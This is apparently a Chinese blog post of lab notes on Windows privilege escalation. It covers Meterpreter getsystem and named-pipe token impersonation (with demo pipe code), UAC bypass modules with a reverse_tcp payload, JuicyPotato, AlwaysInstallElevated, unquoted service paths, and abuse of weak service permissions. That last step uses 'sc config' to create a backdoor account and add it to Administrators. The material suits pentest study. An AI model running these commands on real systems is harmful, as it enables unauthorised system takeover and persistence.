渗透测试框架提权

msf

metepreter 提权

在有一个Session的条件之下,直接使用getsystem自动提权

image-20240213111652963

发现成功提权

返回之前的权限

获取hash值是可以使用管理员权限,但是如果想要获取明文密码就需要获取system权限了

image-20240213112912104

如果是高版本的windwos 就会发现提权不了

image-20240213113348162

尝试了解getsystem的原理是什么

如果发现操作失败,可以通过获取当前session 能使用什么方式进行提权(local_exploit_suggester,bypassuac)

getsystem命名管道原理

命名管道介绍

命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。

命名管道的命名规范遵循“通用命名规范(UNC)” :

1
\\server\pipe[\path]\name
  • 其中 \server 指定一个服务器的名字,如果是本机则用\.表示,\192.168.1.100表示网络 上的服务器。
  • \pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
  • [\path]\name 则唯一标识一个命名管道的名称。

模拟命名管道工作

pipe_client.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "iostream"
#include "windows.h"
#include "stdio.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\mingy"

int main()
{
char buffer[1024];
DWORD WriteNum;

if (WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER) == FALSE)
{
cout << "等待命名管道实例失败!" << endl;
return 0;
}

HANDLE hPipe = CreateFile(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与服务器连接成功!" << endl;
while (1)
{
gets(buffer);//等待数据输入
if (WriteFile(hPipe, buffer, strlen(buffer), &WriteNum, NULL) == FALSE)
{
cout << "数据写入管道失败!" << endl;
break;
}
}

cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
}

pipe_server.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include "iostream"
#include "windows.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\mingy"

int main()
{
char buffer[1024];
DWORD ReadNum;

HANDLE hPipe = CreateNamedPipe(PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 2, 0, 0, 1000, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}

if (ConnectNamedPipe(hPipe, NULL) == FALSE)
{
cout << "与客户机连接失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与客户机连接成功!" << endl;

while (1)
{
if (ReadFile(hPipe, buffer, 1024, &ReadNum, NULL) == FALSE)
{
cout << "读取数据失败!" << endl;
break;
}

buffer[ReadNum] = 0;
cout << "读取数据:" << buffer << endl;
}

cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
}

image-20240213121717587

模拟成功

查看所有的现存的命名管道

1
2
3
4
5
6
# 返回对象列表
get-childitem \\.\pipe\

# 只显示名称
(get-childitem \\.\pipe\).FullName

image-20240213121910042

模拟令牌

模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中的 getsystem 也就是这个原理

具体步骤

  1. 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
  2. 创建一个进程,并让进程创建命名管道。
  3. 让之前的以system权限启动的程序启动并连接这个命名管道。
  4. 利用ImpersonateNamedPipeClient()函数生成system权限的token。
  5. 利用system权限的token启动cmd.exe。

提权操作

  1. 使用administrator 开启一个命名管道

    https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1

    1
    powershell -ep bypass -f pipeserverimpersonate.ps1

    win7查看命名管道

    1
    [System.IO.Directory]::GetFiles("\\.\\pipe\\")

    win7及以上

    1
    2
    3
    4
    # 返回对象列表
    get-childitem \\.\pipe\
    # 只显示名称
    (get-childitem \\.\pipe\).FullName

    记得更改命名管道的名字,不然不太好找

    image-20240213130958883

    再开启

    image-20240213131127542

    发现他有提示的

    image-20240213131151009

    发现已经开启了

  2. 创建服务

    因为我们需要获取 高权限的 token,通过服务方式启动的客户端时system 权限,所以我们就可以通过服务开启的客户端获取 token

    1
    2
    sc create august-pipe binpath= "cmd /c echo test > \\.\pipe\august"
    sc qc august-pipe\ #查询该服务的配置信息

    image-20240213132646902

  3. 启动服务

    image-20240213132749253

    然后成功反弹一个system 的cmd

  4. 尝试修改为payload 让其直接运行

    修改pipeserverimpersonate.ps1

    image-20240213132927207

    修改为paylload

    image-20240213133035988

    然后重复上面的工作

    开启pipeserverimpersonate,ps1

    由于已经注册了服务,现在就直接运行服务就行了

    image-20240213133245630

    反弹了一个system 的cmd

BypassUAC

UAC:用户帐户控制(User Account Control),是windows操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改 getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权

1
2
3
4
5
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.170
set session 1
exploit

尝试获取win10 的system

对于win10 还是没有办法

image-20240213135852769

如果执行成功了,那么就会直接返回两个system 的会话

尝试其他的方式

bypassuac_injection

bypassuac_eventvwr

bypassuac_comhijack

也是不能成功的

Local_exploit_suggester

local_exploit_suggester是一个漏洞利用后渗透模块,可用于检查系统中是否存在本地漏洞。它 执行本地漏洞利用检查;但不运行利用任何漏洞,这意味着可以在不进行入侵的情况下扫描系统。 不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。

优点:省去手动查找本地漏洞的麻烦,节省时间

缺点:不是所有列出的local exploit都可用

还是对win10 机型进行收集

1
2
3
use post/multi/recon/local_exploit_suggester
set SESSION 7
exploit

image-20240213141949694

这个是他收集的结果win10 真的不太好利用了

Windows内核漏洞提权

windows-kernel-exploits

1
2
https://github.com/SecWiki/windows-kernel-exploits
https://www.freebuf.com/articles/system/184289.html

metasploit中查找提权模块

1
2
search exploit/windows/local Privilege
search ms

JuicyPotato

1
juicypotato.exe -t * -p "6666.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}

也就是指定我们的payload 然后让它执行,就可以获取对应的权限

或者直接使用msf 的模块

image-20240213143838260

只是需要注意使用这个模块的话,需要有对应的权限

Windows系统服务漏洞

AlwaysInstallElevated

手动

  1. 简介

    任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。

    MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序

    AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该 参数允许非特权用户以system权 限运行MSI文件。

    如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

  2. 判断是否启用此策略

    1
    2
    reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    收到 “错误:系统无法找到指定的注册表项或值” 的错误,则表示此注册表值从未创建。 说明策略没有启用。

    收到 “AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。

    image-20240213155034861

    image-20240213155156615

  3. 启用 Always Install Elevated

    1
    2
    3
    4
    5
    reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

    HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)
    HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)
  4. Always Install Elevated提权利用

    1. 安装打包器

      Free Download - MSI Wrapper Convert EXE to MSI free (exemsi.com)

    2. 生成payload

    3. 将payload打包成msi

    4. 然后再受害者上安装,这个时候就是system权限

自动

就直接使用对应的模块就行了

always_install_elevated模块

1
2
3
4
use exploit/windows/local/always_install_elevated
set sessions 1
run

可信任服务路径

存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限 运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解 析。如果我们能利用这一特性,就有机会进行权限升。

简单的说就是,使用有一个可以写入的权限,然后我们将我们的payload 放置于里面然后服务就会按照他的路径进行寻找,就会执行我们的payload ,由于是服务启动,所以达到了提权的效果,本质的原理就是windows 会忽视exe文件后缀,可以直接执行

利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引 用的全路径名,则可利用此漏洞。

手动

  1. 检测目标是否存在漏洞

    1
    wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

    image-20240213152223202

    存在且发现路径

  2. 查看路径是否存在可写入的权限

    1
    2
    3
    4
    5
    icacls "C:\Program Files (x86)\"

    F =完全控制
    CI =容器继承 - 此标志指示从属容器将继承此ACE。
    OI = Object Inherit - 这个标志表示从属文件将继承ACE。

    image-20240213153134761

    因为我这个后面就是空格,所以使用这个方式

  3. 生成一个payload

    注意名字一定要与第二个文件夹名空格的前部分一致

    image-20240213153320091

  4. 将这个payload 放入对应的路径

    我这里时c:\program files (x86)

  5. 然后重启服务就好了

    1
    2
    3
    4
    sc qc "Windows Folder Service"
    sc stop "Windows Folder Service”
    sc start "Windows Folder Service"
    没有权限重启服务,等待服务器重启时执行exe
  6. 可能会遇到反弹回来的shell 容易断掉的问题

    这是因为当一个 服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。

    尝试使用其他类型的payload

    image-20240213154039864

msf 自动

使用nquoted_service_path

1
2
3
use exploit/windows/local/unquoted_service_path
set session 1
run

不安全的服务权限

手动

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。 JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。

而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用 户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文 件,从而随着系统启动服务而获得系统权限。

直接修改服务的“ImagePath”注册表值,而不是修改服务属性。

  1. 利用accesschk工具检查易受到攻击的服务

    1
    2
    accesschk64.exe -ucqv "Authenticated Users" * /accepteula
    services_all_access
  2. 查看可完全控制的服务的属性

    1
    sc qc Acunetix
  3. 修改服务配置执行命令

    1
    2
    3
    4
    5
    sc config Acunetix binpath= "net user updateuser password /add"
    sc stop Acunetix
    sc start Acunetix
    sc config Acunetix binpath= "net localgroup Administrators updateuser /add"
    sc start Acunetix

msf 自动

1
2
3
4
use exploit/windows/local/service_permissions
set sessions 1
run

cs

Elevate

image-20240213162845866

image-20240213163007725


渗透测试框架提权
https://tsy244.github.io/2024/02/13/渗透/渗透测试框架提权/
Author
August Rosenberg
Posted on
February 13, 2024
Licensed under